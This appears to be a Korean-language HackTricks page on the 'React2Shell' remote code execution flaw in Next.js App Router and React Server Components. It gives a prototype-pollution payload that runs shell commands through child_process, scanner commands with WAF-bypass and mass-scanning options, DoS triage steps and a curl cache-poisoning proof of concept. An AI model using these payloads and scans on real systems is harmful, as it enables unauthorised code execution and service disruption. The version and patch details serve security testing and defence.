Server Actions๋ฅผ react-server-dom-webpack 19.0.0โ€“19.2.0 (Next.js 15.x/16.x) ์— ๋…ธ์ถœํ•˜๋Š” Next.js App Router ๋ฐฐํฌ๋Š” Flight ์ฒญํฌ ์—ญ์ง๋ ฌํ™” ๊ณผ์ •์—์„œ ์น˜๋ช…์ ์ธ ์„œ๋ฒ„ ์ธก prototype pollution์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. Flight ํŽ˜์ด๋กœ๋“œ ๋‚ด๋ถ€์— $ ์ฐธ์กฐ๋ฅผ ์กฐ์ž‘ํ•˜๋ฉด ๊ณต๊ฒฉ์ž๋Š” ์˜ค์—ผ๋œ ํ”„๋กœํ† ํƒ€์ž…์—์„œ ์ž„์˜์˜ JavaScript ์‹คํ–‰์œผ๋กœ, ๊ทธ ํ›„ Node.js ํ”„๋กœ์„ธ์Šค ๋‚ด๋ถ€์˜ OS ๋ช…๋ น ์‹คํ–‰์œผ๋กœ ์ „ํ™˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

NodeJS - proto & prototype Pollution

Flight ์ฒญํฌ์—์„œ์˜ ๊ณต๊ฒฉ ์ฒด์ธ

  1. Prototype pollution primitive: "then": "$1:__proto__:then"์„ ์„ค์ •ํ•˜๋ฉด resolver๊ฐ€ Object.prototype์— then ํ•จ์ˆ˜๋ฅผ ์”๋‹ˆ๋‹ค. ์ดํ›„ ์ฒ˜๋ฆฌ๋˜๋Š” ๋ชจ๋“  ์ผ๋ฐ˜ ๊ฐ์ฒด๋Š” thenable์ด ๋˜์–ด ๊ณต๊ฒฉ์ž๊ฐ€ RSC ๋‚ด๋ถ€์˜ ๋น„๋™๊ธฐ ์ œ์–ด ํ๋ฆ„์— ์˜ํ–ฅ์„ ์ค„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  2. Rebinding to the global Function constructor: _response._formData.get๋ฅผ "$1:constructor:constructor"๋กœ ๊ฐ€๋ฆฌํ‚ค๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. ํ•ด์„ ๊ณผ์ •์—์„œ object.constructor โ†’ Object, ๊ทธ๋ฆฌ๊ณ  Object.constructor โ†’ Function์ด๋ฏ€๋กœ ํ–ฅํ›„ _formData.get() ํ˜ธ์ถœ์€ ์‹ค์ œ๋กœ Function(...)์„ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค.
  3. Code execution via _prefix: _response._prefix์— JavaScript ์†Œ์Šค๋ฅผ ๋„ฃ์Šต๋‹ˆ๋‹ค. ์˜ค์—ผ๋œ _formData.get๊ฐ€ ํ˜ธ์ถœ๋˜๋ฉด ํ”„๋ ˆ์ž„์›Œํฌ๋Š” Function(_prefix)(...)๋ฅผ ํ‰๊ฐ€ํ•˜๋ฏ€๋กœ ์ฃผ์ž…๋œ JS๋Š” require('child_process').exec() ๋˜๋Š” ๋‹ค๋ฅธ Node ๊ธฐ๋ณธ ๊ธฐ๋Šฅ์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

ํŽ˜์ด๋กœ๋“œ ์Šค์ผˆ๋ ˆํ†ค

{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "require('child_process').exec('id')",
"_chunks": "$Q2",
"_formData": { "get": "$1:constructor:constructor" }
}
}

React Server Function ๋…ธ์ถœ ๋งคํ•‘

React Server Functions (RSF)๋Š” โ€˜use serverโ€™; ์ง€์‹œ๋ฌธ์„ ํฌํ•จํ•˜๋Š” ๋ชจ๋“  ํ•จ์ˆ˜์ž…๋‹ˆ๋‹ค. ํ•ด๋‹น ํ•จ์ˆ˜๋“ค์— ๋ฐ”์ธ๋”ฉ๋œ ๋ชจ๋“  form action, mutation, ๋˜๋Š” fetch helper๋Š” RSC Flight endpoint๊ฐ€ ๋˜์–ด ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ๊ณตํ•œ ํŽ˜์ด๋กœ๋“œ๋ฅผ ์—ญ์ง๋ ฌํ™”ํ•ฉ๋‹ˆ๋‹ค. React2Shell assessments์—์„œ ํŒŒ์ƒ๋œ ์œ ์šฉํ•œ recon ๋‹จ๊ณ„:

  • Static inventory: ์ง€์‹œ๋ฌธ์„ ์ฐพ์•„ ํ”„๋ ˆ์ž„์›Œํฌ๊ฐ€ ์ž๋™์œผ๋กœ ๋…ธ์ถœํ•˜๋Š” RSF์˜ ์ˆ˜๋ฅผ ํŒŒ์•…ํ•˜์„ธ์š”.
rg -n "'use server';" -g"*.{js,ts,jsx,tsx}" app/
  • App Router defaults: create-next-app์€ ๊ธฐ๋ณธ์ ์œผ๋กœ App Router + app/ ๋””๋ ‰ํ„ฐ๋ฆฌ๋ฅผ ํ™œ์„ฑํ™”ํ•˜์—ฌ, ๋ชจ๋“  ๋ผ์šฐํŠธ๋ฅผ ์กฐ์šฉํžˆ RSC-์ง€์› ์—”๋“œํฌ์ธํŠธ๋กœ ์ „ํ™˜ํ•ฉ๋‹ˆ๋‹ค. App Router ์ž์‚ฐ(์˜ˆ: /_next/static/chunks/app/) ๋˜๋Š” Flight ์ฒญํฌ๋ฅผ text/x-component๋กœ ์ŠคํŠธ๋ฆฌ๋ฐํ•˜๋Š” ์‘๋‹ต์€ ๊ฐ•๋ ฅํ•œ ์ธํ„ฐ๋„ท ๋…ธ์ถœ ์ง€๋ฌธ์ž…๋‹ˆ๋‹ค.
  • Implicitly vulnerable RSC deployments: React์˜ ๊ถŒ๊ณ ์— ๋”ฐ๋ฅด๋ฉด RSC runtime์„ ํฌํ•จํ•ด ๋ฐฐํฌ๋˜๋Š” ์•ฑ์€ ๋ช…์‹œ์ ์ธ RSFs ์—†์ด๋„ ์•…์šฉ๋  ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ react-server-dom-* 19.0.0โ€“19.2.0์„ ์‚ฌ์šฉํ•˜๋Š” ๋ชจ๋“  ๋นŒ๋“œ๋ฅผ ์˜์‹ฌํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.
  • Other frameworks bundling RSC: Vite RSC, Parcel RSC, React Router RSC preview, RedwoodSDK, Waku ๋“ฑ์€ ๋™์ผํ•œ serializer๋ฅผ ์žฌ์‚ฌ์šฉํ•˜๋ฉฐ ํŒจ์น˜๋œ React ๋นŒ๋“œ๋ฅผ ํฌํ•จํ•  ๋•Œ๊นŒ์ง€ ๋™์ผํ•œ ์›๊ฒฉ ๊ณต๊ฒฉ ํ‘œ๋ฉด์„ ๋ฌผ๋ ค๋ฐ›์Šต๋‹ˆ๋‹ค.

Version coverage (React2Shell)

  • react-server-dom-webpack, react-server-dom-parcel, react-server-dom-turbopack: ์ทจ์•ฝ(vulnerable) 19.0.0, 19.1.0โ€“19.1.1 ๋ฐ 19.2.0; ํŒจ์น˜๋จ(patched) 19.0.1, 19.1.2 ๋ฐ 19.2.1 ๊ฐ๊ฐ.
  • Next.js stable: App Router releases 15.0.0โ€“16.0.6๋Š” ์ทจ์•ฝํ•œ RSC ์Šคํƒ์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. ํŒจ์น˜ ํŠธ๋ ˆ์ธ 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 / 15.4.8 / 15.5.7 / 16.0.7์€ ์ˆ˜์ •๋œ ์ข…์†์„ฑ์„ ํฌํ•จํ•˜๋ฏ€๋กœ, ํ•ด๋‹น ๋ฒ„์ „๋“ค๋ณด๋‹ค ๋‚ฎ์€ ๋นŒ๋“œ๋Š” ๋†’์€ ์šฐ์„  ์กฐ์‚ฌ ๋Œ€์ƒ์ž…๋‹ˆ๋‹ค.
  • Next.js canary: 14.3.0-canary.77+ ๋˜ํ•œ ๋ฌธ์ œ๊ฐ€ ์žˆ๋Š” ๋Ÿฐํƒ€์ž„์„ ํฌํ•จํ•˜๋ฉฐ ํ˜„์žฌ ํŒจ์น˜๋œ canary ๋ฆด๋ฆฌ์Šค๊ฐ€ ์—†์–ด ํ•ด๋‹น ์ง€๋ฌธ์€ ๊ฐ•๋ ฅํ•œ ์•…์šฉ ํ›„๋ณด์ž…๋‹ˆ๋‹ค.

Remote detection oracle

Assetnoteโ€™s react2shell-scanner ๋Š” ํ›„๋ณด ๊ฒฝ๋กœ์— ์กฐ์ž‘๋œ multipart Flight ์š”์ฒญ์„ ์ „์†กํ•˜๊ณ  ์„œ๋ฒ„ ์ธก ๋™์ž‘์„ ๊ด€์ฐฐํ•ฉ๋‹ˆ๋‹ค:

  • Default mode๋Š” ๊ฒฐ์ •์  RCE ํŽ˜์ด๋กœ๋“œ๋ฅผ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค(์ˆ˜ํ•™ ์—ฐ์‚ฐ์ด X-Action-Redirect๋ฅผ ํ†ตํ•ด ๋ฐ˜์˜๋˜์–ด) ์ฝ”๋“œ ์‹คํ–‰์„ ์ž…์ฆํ•ฉ๋‹ˆ๋‹ค.
  • --safe-check mode๋Š” ์˜๋„์ ์œผ๋กœ Flight ๋ฉ”์‹œ์ง€๋ฅผ ์†์ƒ์‹œ์ผœ ํŒจ์น˜๋œ ์„œ๋ฒ„๋Š” 200/400์„ ๋ฐ˜ํ™˜ํ•˜๋Š” ๋ฐ˜๋ฉด, ์ทจ์•ฝํ•œ ๋Œ€์ƒ์€ ๋ณธ๋ฌธ์— E{"digest" ์„œ๋ธŒ์ŠคํŠธ๋ง์„ ํฌํ•จํ•œ HTTP/500 ์‘๋‹ต์„ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค. ์ด (500 + digest) ์กฐํ•ฉ์€ ํ˜„์žฌ ์ˆ˜๋น„ ์ธก์—์„œ ๊ณต๊ฐœํ•œ ๊ฐ€์žฅ ์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๋Š” ์›๊ฒฉ ์˜ค๋ผํด์ž…๋‹ˆ๋‹ค.
  • ๋‚ด์žฅ๋œ --waf-bypass, --vercel-waf-bypass, ๋ฐ --windows ์Šค์œ„์น˜๋Š” ํŽ˜์ด๋กœ๋“œ ๋ ˆ์ด์•„์›ƒ์„ ์กฐ์ •ํ•˜๊ฑฐ๋‚˜ junk๋ฅผ ์•ž์— ์ถ”๊ฐ€ํ•˜๊ฑฐ๋‚˜ OS ๋ช…๋ น์„ ๊ต์ฒดํ•˜์—ฌ ์‹ค์ œ ์ธํ„ฐ๋„ท ์ž์‚ฐ์„ ํƒ์ƒ‰ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.
python3 scanner.py -u https://target.tld --path /app/api/submit --safe-check
python3 scanner.py -l hosts.txt -t 20 --waf-bypass -o vulnerable.json

๊ธฐํƒ€ ์ตœ๊ทผ App Router ์ด์Šˆ (2025๋…„ ๋ง)

  1. RSC DoS & source disclosure (CVE-2025-55184 / CVE-2025-67779 / CVE-2025-55183) โ€“ ์†์ƒ๋œ Flight ํŽ˜์ด๋กœ๋“œ๋Š” RSC resolver๋ฅผ ๋ฌดํ•œ ๋ฃจํ”„๋กœ ๋ชฐ์•„๋„ฃ์–ด (pre-auth DoS) ๋‹ค๋ฅธ ๋™์ž‘์„ ์œ„ํ•ด ์ปดํŒŒ์ผ๋œ Server Function ์ฝ”๋“œ๋ฅผ ์ง๋ ฌํ™”ํ•˜๋„๋ก ๊ฐ•์ œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. App Router ๋นŒ๋“œ โ‰ฅ13.3์€ ํŒจ์น˜ ์ „๊นŒ์ง€ ์˜ํ–ฅ์„ ๋ฐ›์œผ๋ฉฐ; 15.0.xโ€“16.0.x๋Š” upstream advisory์˜ ํŠน์ • ํŒจ์น˜ ๋ผ์ธ์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค. ์ผ๋ฐ˜ Server Action ๊ฒฝ๋กœ๋ฅผ ์žฌ์‚ฌ์šฉํ•˜๋˜ text/x-component ๋ฐ”๋””๋ฅผ ์ŠคํŠธ๋ฆฌ๋ฐํ•˜๊ณ  ์•…์˜์ ์ธ $ ์ฐธ์กฐ๋ฅผ ํฌํ•จ์‹œํ‚ค์„ธ์š”. CDN ๋’ค์—์„œ๋Š” ์ •์ง€๋œ ์—ฐ๊ฒฐ์ด cache timeouts๋กœ ์ธํ•ด ์—ด๋ฆฐ ์ƒํƒœ๋กœ ์œ ์ง€๋˜์–ด DoS๊ฐ€ ์ €๋ ดํ•ด์ง‘๋‹ˆ๋‹ค.
  • ํŠธ๋ฆฌ์•„์ง€ ํŒ: ํŒจ์น˜๋˜์ง€ ์•Š์€ ๋Œ€์ƒ์€ ์†์ƒ๋œ Flight ํŽ˜์ด๋กœ๋“œ ํ›„ E{"digest"๊ฐ€ ํฌํ•จ๋œ 500์„ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค; ํŒจ์น˜๋œ ๋นŒ๋“œ๋Š” 400/200์„ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค. ์ด๋ฏธ Flight ์ฒญํฌ๋ฅผ ์ŠคํŠธ๋ฆฌ๋ฐํ•˜๋Š” ์—”๋“œํฌ์ธํŠธ( Next-Action ํ—ค๋”๋‚˜ text/x-component ์‘๋‹ต์„ ํ™•์ธ)์—์„œ ํ…Œ์ŠคํŠธํ•˜๊ณ  ์ˆ˜์ •๋œ ํŽ˜์ด๋กœ๋“œ๋กœ ์žฌ์ƒํ•˜์„ธ์š”.
  1. RSC cache poisoning (CVE-2025-49005, App Router 15.3.0โ€“15.3.2) โ€“ Vary๊ฐ€ ๋ˆ„๋ฝ๋˜๋ฉด Accept: text/x-component ์‘๋‹ต์ด ์บ์‹œ๋˜์–ด HTML์„ ๊ธฐ๋Œ€ํ•˜๋Š” ๋ธŒ๋ผ์šฐ์ €์— ์ œ๊ณต๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋‹จ ํ•œ ๋ฒˆ์˜ ํ”„๋ผ์ด๋ฐ ์š”์ฒญ์œผ๋กœ ํŽ˜์ด์ง€๊ฐ€ ์›์‹œ RSC ํŽ˜์ด๋กœ๋“œ๋กœ ๋Œ€์ฒด๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. PoC ํ๋ฆ„:
# Prime CDN with an RSC response
curl -k -H "Accept: text/x-component" "https://target/app/dashboard" > /dev/null
# Immediately fetch without Accept (victim view)
curl -k "https://target/app/dashboard" | head

๋‘ ๋ฒˆ์งธ ์‘๋‹ต์ด HTML ๋Œ€์‹  JSON Flight ๋ฐ์ดํ„ฐ๋ฅผ ๋ฐ˜ํ™˜ํ•˜๋ฉด ํ•ด๋‹น ๋ผ์šฐํŠธ๋Š” ์˜ค์—ผ ๊ฐ€๋Šฅ์„ฑ์ด ์žˆ์Šต๋‹ˆ๋‹ค. ํ…Œ์ŠคํŠธ ํ›„์—๋Š” ์บ์‹œ๋ฅผ purgeํ•˜์„ธ์š”.

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ